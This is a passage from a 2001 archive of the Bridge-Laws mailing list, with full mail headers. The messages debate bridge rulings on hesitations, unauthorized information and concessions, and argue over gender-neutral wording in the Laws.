<200101021604.LAA17526@cfa183.harvard.edu> In-Reply-To: <200101021604.LAA17526@cfa183.harvard.edu> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner writes >> From: "N. Scott Cardell" >> You call the director during, for example, the following auction: >> >> West North(you) East South >> 1D, Double, 4H, 4S, >> slow pass, pass, 5H >Maybe you call the director after the 5H bid; I certainly don't. Look >again at the footnote to L16A2. > >I agree that what Scott suggests is widely practiced, but the proper >times to call the director are a) immediately after the slow pass (if >"reserving rights" is not allowed by your SO) or b) when you have seen >East's hand. Until then, you should assume that the 5H bid was legal. In general, many players do not want to rock the boat unnecessarily and cause too much friction. Thus, when there is a call after a hesitation, it is a common approach to see if there is any real danger of requiring a ruling, and only reserve your rights and/or call the TD if it appears necessary. The normal ways to do it is to wait until the next call by the offending side. >> West North(you) East South >> 1D, Double, 4H, 4S, >> slow pass, pass, pass If this is the auction there is little need to do anything, and friction and trouble has been avoided. Furthermore, there is no reason to believe there is any infraction until after the later call. So players do not see there is any need to call the TD earlier. L16A1 certainly suggests waiting because otherwise the players have no idea that "damage could well result". If you wait until the 5H call above then you have some reason to believe from the logic of the situation that there may have been a breach of L73C or L16A. Before that moment you had no reason to believe it. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 13:29:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C2TGh14779 for bridge-laws-outgoing; Fri, 12 Jan 2001 13:29:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C2T1t14705 for ; Fri, 12 Jan 2001 13:29:02 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14GtxZ-000OZ3-0A for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 02:28:57 +0000 Message-ID: Date: Fri, 12 Jan 2001 00:34:24 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Annoyingly irregular References: <3.0.32.20001226113122.0071ac70@pullman.com> In-Reply-To: <3.0.32.20001226113122.0071ac70@pullman.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk N. Scott Cardell writes >The >laws that are the subject of controversy relate to UI and MI. These have >the purpose of preventing one side from accidently (or intentionally) >achieving an unfair advantage. Unfortunately they frequently have >undesirable side effects such as: punishing thinking in a game that is >meant to call for thought, effectively requiring explanations to be a >memorized formula rather than an honest informative response to the >question, and most importantly the application of these laws can and often >do give an unearned advantage to the nonoffending side. Why is giving an unearned advantage to the NOs undesirable? It is normal in all sports where two teams clash for such an advantage, and saying it is unearned is merely pejorative. For example, in an MI situation, you might give a pair 4S+2 when they only made 4S+1 at the table. While they have not "earned" this they might have got it without the infraction so why should it be denied to them? -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 13:41:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C2ehO15500 for bridge-laws-outgoing; Fri, 12 Jan 2001 13:40:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f194.law3.hotmail.com [209.185.241.194]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C2eat15496 for ; Fri, 12 Jan 2001 13:40:37 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 11 Jan 2001 18:40:29 -0800 Received: from 172.142.40.31 by lw3fd.law3.hotmail.msn.com with HTTP; Fri, 12 Jan 2001 02:40:28 GMT X-Originating-IP: [172.142.40.31] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: RE: [BLML] Bad Language Date: Thu, 11 Jan 2001 18:40:28 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 12 Jan 2001 02:40:29.0098 (UTC) FILETIME=[068CC0A0:01C07C41] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: Craig Senior > I too wish "on" would transliterate; the absense of its equivalent is one >of the weaknesses of English. 'On' transliterates from cyrillic quite well, but it's still a gendered 3rd person singular in Russian. >Perhaps we could find a neutral (not sexless) >contruct and by agenda and use transform it as much as the word gay seems >to have been in recent decades. I don't think you'll find enough people who'll both care and agree with your choice. It seems that the people who've chosen 'they' and 'hir' as their constructs of choice are winning the race. >But to collapse the plural into the >singular only degrades the expressiveness and clarity of communication in >English...for all women (and others who think). I wouldn't consider English a good model for clarity. I dunno. There are plenty of words in English which are already both singular and plural in use and we seem to do just fine, e.g. sheep, fish. Others that when unqualified are non-descript amounts and rarely inflected, e.g. sand ('sands of time' being the only exception I know of), water. And some that are only inflected when counted out, e.g. hair (headful of hair vs. 3 hairs). The singular and plural forms of words are sometimes one in the same. Also, rather than making the formal/informal distinction between the 2nd and 3rd persons like Spanish and French do, Finnish and Russian use the 2nd person plural as the polite address for one person. It's not unheard of to use a plural construct to refer to one person. -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 16:11:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C59ai13730 for bridge-laws-outgoing; Fri, 12 Jan 2001 16:09:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C59Ut13726 for ; Fri, 12 Jan 2001 16:09:31 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 21:06:21 -0800 Message-ID: <020701c07c55$cca677e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 21:08:45 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > Adam Beneschan wrote: > > [snip] > > >Well, I didn't actually look at the Laws; > >I just wrote under the reasonable > >assumption that problems would be very > >likely. So when I saw your response, I > >brought up my Laws file, went to the > >beginning Law 1, and did a forward search > >for the word "he". Here's the very first > >thing I found: > > > > LAW 3 - ARRANGEMENT OF TABLES > > Four players play at each table, and > > tables are numbered in a sequence > > established by the Director. He > > designates one direction as North; > > other compass directions assume the > > normal relationship to North. > > > >Now see what would happen if "he" were > >changed to "they". > > > > This Law is by itself a specious reason > for retaining a sexist pronoun. Simply > change *He* to *The Director*. > The repetition is awkward. Simpler is to change "...by the Director. He designates..." to "...by the Director, who designates..." Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 16:41:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C5dp213781 for bridge-laws-outgoing; Fri, 12 Jan 2001 16:39:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C5dkt13777 for ; Fri, 12 Jan 2001 16:39:46 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 21:36:36 -0800 Message-ID: <021801c07c5a$068bcce0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01C07BE9.FF9DC520@user-2ive4ar.dialup.mindspring.com> Subject: Re: [BLML] Equity or simplicity? Date: Thu, 11 Jan 2001 21:36:44 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior wrote: > The reason that UI/MI does not come up > at the club level much is that most players do not know they can or should > seek redress and most club directors don't have any idea how to handle it > anyhow. Present precedures are cumbersome and difficult to understand for > the average club player or director. That is not my definition of "working > quite well". We need both education and simplification to the extent > reasonably possible. Ignorance of the laws is not an excuse for making no > effort to enforce them, and allowing the perpetuation of such ignorance as > a justificiation for not improving widely undercomprehended laws is not > really acceptable. > Right on, Craig. Better education, and enforcement, is certainly in order. Simpler Laws might help a lot. Perhaps we need a lightweight version for optional use in clubs and lower-level events at sectionals, regionals, and NABCs. Not only simpler Laws, but also simpler ACBL regulations (Alerts, for instance). We have four levels of ACBL Convention Charts, so there is some precedence. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 17:54:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C6sBC13896 for bridge-laws-outgoing; Fri, 12 Jan 2001 17:54:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C6s5t13892 for ; Fri, 12 Jan 2001 17:54:06 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 22:50:57 -0800 Message-ID: <024901c07c64$6957a7e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101021604.LAA17526@cfa183.harvard.edu> Subject: Re: [BLML] Annoyingly irregular Date: Thu, 11 Jan 2001 22:47:30 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > Steve Willner writes > >> From: "N. Scott Cardell" > > >> You call the director during, for example, the following auction: > >> > >> West North(you) East South > >> 1D, Double, 4H, 4S, > >> slow pass, pass, 5H > > >Maybe you call the director after the 5H bid; I certainly don't. Look > >again at the footnote to L16A2. > > > >I agree that what Scott suggests is widely practiced, but the proper > >times to call the director are a) immediately after the slow pass (if > >"reserving rights" is not allowed by your SO) "Reserving rights" is not allowed by the ACBL, but it is not clear that calling immediately after the slow pass is a requirement. The "Election" is strangely worded, but it seems to say that the TD call does not come at the time of the hesitation, but later, when an illegal action may have been taken. That may not be the intended meaning, but that's what is conveyed by the syntax used. You would need a lot of TDs if one is to be called every time there is a break in tempo. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 18:50:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C7niK13993 for bridge-laws-outgoing; Fri, 12 Jan 2001 18:49:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C7nct13989 for ; Fri, 12 Jan 2001 18:49:39 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0C7nRJ03233 for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 07:49:27 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Fri, 12 Jan 2001 07:49 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Bad Language To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <010501c07b97$61f1f960$56991e18@san.rr.com> Marv wrote: > Everyone in a mixed-sex Japanese bath is expected to keep his hands to > himself. Makes sense to me. One is unlikely to find a man who will object to a woman who doesn't? Seriously I think English can take a more natural form in the above sentence using their/themselves. This is due to the implicitly plural nature of words like "everyone". One need not be too purist. Many laws could happily be rewritten in the form "Players should.." to take advantage of the gender neutral plural. However, it still feels wrong to use the plural referent when talking of an obviously singular antecedent. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 19:53:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C8q4014112 for bridge-laws-outgoing; Fri, 12 Jan 2001 19:52:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C8pvt14108 for ; Fri, 12 Jan 2001 19:51:58 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA20044; Fri, 12 Jan 2001 09:51:54 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Fri Jan 12 09:54:24 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYTDE3NPHE0024LU@AGRO.NL>; Fri, 12 Jan 2001 09:51:04 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Fri, 12 Jan 2001 09:46:42 +0100 Content-return: allowed Date: Fri, 12 Jan 2001 09:51:03 +0100 From: "Kooijman, A." Subject: RE: [BLML] What is suggested ? To: "'alain gottcheiner'" , "Marvin L. French" , Bridge Laws Mailing List Message-id: <67378DEA146DD21194C20000F87B08BA01B8B76B@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Alain wrote: > > Our local group exchanged a long thread on the subject of > whether this was > AI or UI. The consensus was eventually reached, that any > information that > is available to all players is AI, thus this was. In astronomy local groups can be far away and have their own way of existence. But on our bridge earth your group conclusion that information available for all players is AI is clear nonsense. Let your group read L16C again. To be honest: it is this kind of statements that worries me all the time. How many wrong rulings are made by this home work well meant initiative? ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 20:23:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C9NQk14177 for bridge-laws-outgoing; Fri, 12 Jan 2001 20:23:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C9NKt14173 for ; Fri, 12 Jan 2001 20:23:20 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id KAA23054; Fri, 12 Jan 2001 10:23:17 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Fri Jan 12 10:25:47 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYTEHWL6VC0025F6@AGRO.NL>; Fri, 12 Jan 2001 10:22:23 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Fri, 12 Jan 2001 10:18:00 +0100 Content-return: allowed Date: Fri, 12 Jan 2001 10:22:22 +0100 From: "Kooijman, A." Subject: RE: [BLML] Concession To: "'Marvin L. French'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B76C@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > Fearghal wrote: > > > and the position at this moment is: > > > > T > > -- > > 63 > > 984 > > KJ -- > > KJ N 6 > > -- W E T54 > > Q6 S JT5 > > Q8762 > > Q > > -- > > -- > > > > The card partner has led is, in fact, the DT, and the play will go > > [fairly obviously] ruff, over-ruff, SK, HK, three off. > > > > Should the defence get three off? > > > Law 71C: 'the Director shall cancel a concession if a player has > conceded > > a trick that could not have been lost by any normal play of the > remaining > > cards,...' > > > > After the 10D return, normal play leads to 3 off. > > > Meaning *any* normal play, I presume. Right, as not cashing the spade > king would be extremely abnormal for any level of player. > > Marv > San Diego, CA, USA > Thank you David, these are the things this group should talk about. Not to create another marvellous academic discussion, which is not what I read in the answers this time, but to get more concensus on how to rule in these cases. TD's all over the world, and even AC ( but how to organize that?), should come to the same conclusion in this case. Which might be complicated because of the use of 'normal', which differs for different qualities of players. Most of us seem to allow west to take another trick. I don't. Yes IF west overruffs and if he realises that south has the HQ he should play another trump and cash the HK. But he might go wrong in both aspects. Let us assume David Burn was sitting west (which is possible) and that he claimed/con ceded this way (which is rather unrealistic), and knowing his qualities as a player, even then I would not allow another trick (and he would not ask for it). Let us try to get concensus, Grattan still can use more examples for his Code of Practice. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 22:35:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CBYZo06901 for bridge-laws-outgoing; Fri, 12 Jan 2001 22:34:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f220.law7.hotmail.com [216.33.237.220]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CBYSt06867 for ; Fri, 12 Jan 2001 22:34:29 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 12 Jan 2001 03:34:21 -0800 Received: from 192.160.109.219 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 12 Jan 2001 11:34:20 GMT X-Originating-IP: [192.160.109.219] From: "Norman Scorbie" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language Date: Fri, 12 Jan 2001 11:34:20 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 12 Jan 2001 11:34:21.0001 (UTC) FILETIME=[9B0D4390:01C07C8B] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: "Marvin L. French" >Reply-To: "Marvin L. French" >To: >Subject: Re: [BLML] Bad Language >Date: Thu, 11 Jan 2001 21:08:45 -0800 > > > Adam Beneschan wrote: > > > > [snip] > > > > >Well, I didn't actually look at the Laws; > > >I just wrote under the reasonable > > >assumption that problems would be very > > >likely. So when I saw your response, I > > >brought up my Laws file, went to the > > >beginning Law 1, and did a forward search > > >for the word "he". Here's the very first > > >thing I found: > > > > > > LAW 3 - ARRANGEMENT OF TABLES > > > Four players play at each table, and > > > tables are numbered in a sequence > > > established by the Director. He > > > designates one direction as North; > > > other compass directions assume the > > > normal relationship to North. > > > > > >Now see what would happen if "he" were > > >changed to "they". > > > > > > > This Law is by itself a specious reason > > for retaining a sexist pronoun. Simply > > change *He* to *The Director*. > > >The repetition is awkward. Simpler is to change "...by the Director. He >designates..." to "...by the Director, who designates..." > >Marv >San Diego, CA, USA No commas, semi-colons or pronouns necessary. Just say what you want to say in the right order. LAW 3 - ARRANGEMENT OF TABLES Tables are numbered in a sequence established by the Director with one direction designated as North. Other compass directions assume the normal relationship to North. Four players play at each table. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 22:50:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CBoQZ12576 for bridge-laws-outgoing; Fri, 12 Jan 2001 22:50:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tbd.uunet.be (root@tbd.uunet.be [194.7.1.10]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CBoIt12537 for ; Fri, 12 Jan 2001 22:50:20 +1100 (EST) Received: from village.uunet.be (uu212-190-3-13.unknown.uunet.be [212.190.3.13]) by tbd.uunet.be (8.9.3/8.9.1) with ESMTP id MAA23989 for ; Fri, 12 Jan 2001 12:50:10 +0100 (CET) Message-ID: <3A5D9D7E.D73AE8B1@village.uunet.be> Date: Thu, 11 Jan 2001 12:48:14 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] What is suggested ? References: <200101101704.RAA15000@tempest.npl.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Robin Barker wrote: > > > > > My first cut: > > > > ...the player may not take an action that is influenced by the extraneous > > information, or might well appear to be so influenced. > > > > If the concern is to prevent players from making illogical alternatives > suggested by the UI, why not: > > "the partner may not choose an action that could demonstrably have been > suggested over logical alternative actions by the extraneous information." > > The action need not be logical, just the alternative less-suggested actions. > I feel that this is what the Laws already say (or try to say). Without this, there is a very difficult extra decision to make. Was the chosen action logical in the first place ? Last week I held : 9 xxx xxxx QJ10xx both sides vul and partner overcalled 2Sp (weak) over 1Di, and this was doubled (negative). I bid 4Spades. Is this logical ? I don't think so. Yet it scored almost a top accross the whole world, because we went for -1400, and all opponents that were not in 6He, were in 7NT. What if there were some UI that partner had seven spades (she did) in stead of the expected six ? Wouldn't that have made the bid more attractive, and thus be classed "suggested". Would I really have an excuse in saying, 4Sp is not logical under any definition ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 22:53:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CBrhZ13743 for bridge-laws-outgoing; Fri, 12 Jan 2001 22:53:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CBrat13700 for ; Fri, 12 Jan 2001 22:53:36 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id MAA19150; Fri, 12 Jan 2001 12:53:32 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Fri Jan 12 12:56:03 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYTJQ2MJ0Y0024H1@AGRO.NL> for bridge-laws@octavia.anu.edu.au; Fri, 12 Jan 2001 12:52:31 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Fri, 12 Jan 2001 12:48:08 +0100 Content-return: allowed Date: Fri, 12 Jan 2001 12:52:31 +0100 From: "Kooijman, A." Subject: FW: [BLML] What is suggested ? To: "'bridge-laws@octavia.anu.edu.au'" Message-id: <67378DEA146DD21194C20000F87B08BA01B8B772@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ton: But your group conclusion > that information > >available for all players is AI is clear nonsense. Let your > group read L16C > >again. Alain: > AG : I repeat : an information that is available to all > players (not only > to one table, but to everyone in the room) is AI. > 16C deals only with information that is restricted to 4 > players. In this > case, of course, the partner of the sender of the information > has several > duties. > > A. Sorry, I didn't understand. Should I have understood? The answer might be 'yes', not because your statement was that clear, but because I should have trusted you more. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 23:47:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CCktW28164 for bridge-laws-outgoing; Fri, 12 Jan 2001 23:46:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tamaris.wanadoo.fr (smtp-rt-12.wanadoo.fr [193.252.19.60]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CCklt28116 for ; Fri, 12 Jan 2001 23:46:48 +1100 (EST) Received: from amyris.wanadoo.fr (193.252.19.150) by tamaris.wanadoo.fr; 12 Jan 2001 13:46:41 +0100 Received: from beauvillain (193.248.10.70) by amyris.wanadoo.fr; 12 Jan 2001 13:46:30 +0100 Message-ID: <002e01c07c95$5f467c00$460af8c1@beauvillain> From: "olivier beauvillain" To: "Liste Arbitrage" Cc: "Picard" Subject: [BLML] HaHaHa Snow white died Date: Fri, 12 Jan 2001 13:44:15 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hello, I am happy to confirm that after a one week battle, I succeeded to eradicate the virus W32/Hybris.plugin@M, well known as "Snow white". Tuesday morning, I killed it and since I didn't had a single manifestation. When you know what to do, in 15' you can suppress it!! If you (or some friends oy yours) get it, just ask me, I shall be happy to help you. Thanks to Martin, Chyah and some others for helping me during this hard week. Kenavo A+OB Tout sur le bridge en Bretagne ... et ailleurs sur www.bretagnebridgecomite.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 01:21:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CEKso01422 for bridge-laws-outgoing; Sat, 13 Jan 2001 01:20:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com 